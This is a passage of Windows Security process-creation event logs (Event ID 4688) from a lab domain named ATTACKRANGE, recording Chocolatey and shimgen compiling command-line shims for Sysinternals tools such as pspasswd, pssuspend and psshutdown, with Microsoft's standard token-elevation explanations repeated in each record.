	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pspasswd.exe" --output="C:\ProgramData\chocolatey\bin\pspasswd.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pspasswd.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246778
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x57c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFB72.tmp" "c:\ProgramData\chocolatey\bin\CSC458D6B87D3804B4C8678E38CBB9E5B45.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246777
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf84
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x57c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246776
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x57c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x990
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\psloglist64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_0363\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_0363\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_0363\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_0363\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_0363\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246820
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x844
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xafc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246819
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xafc
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pssuspend64.exe" --output="C:\ProgramData\chocolatey\bin\pssuspend64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pssuspend64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246818
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xae4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb10
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES229.tmp" "c:\ProgramData\chocolatey\bin\CSC91AE1E33E6F64ED19BFB4D81E71CA878.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246817
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd10
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb10
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246816
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb10
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaec
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pssuspend.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_7707\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_7707\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_7707\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_7707\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_7707\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246815
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xab0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaec
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246814
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaec
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pssuspend.exe" --output="C:\ProgramData\chocolatey\bin\pssuspend.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pssuspend.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246813
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa40
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x42c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES14E.tmp" "c:\ProgramData\chocolatey\bin\CSCCB233B98CE7A44088E5594E752EC8214.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246812
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x42c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246811
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x42c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe4c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\psshutdown.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_5519\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_5519\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_5519\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_5519\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_5519\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246810
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa68
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe4c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246809
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe4c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\psshutdown.exe" --output="C:\ProgramData\chocolatey\bin\psshutdown.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\psshutdown.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246808
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf2c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES83.tmp" "c:\ProgramData\chocolatey\bin\CSCEB9CA5258034BC7B9D5742C4AF4B90.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246807
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb18
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf2c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

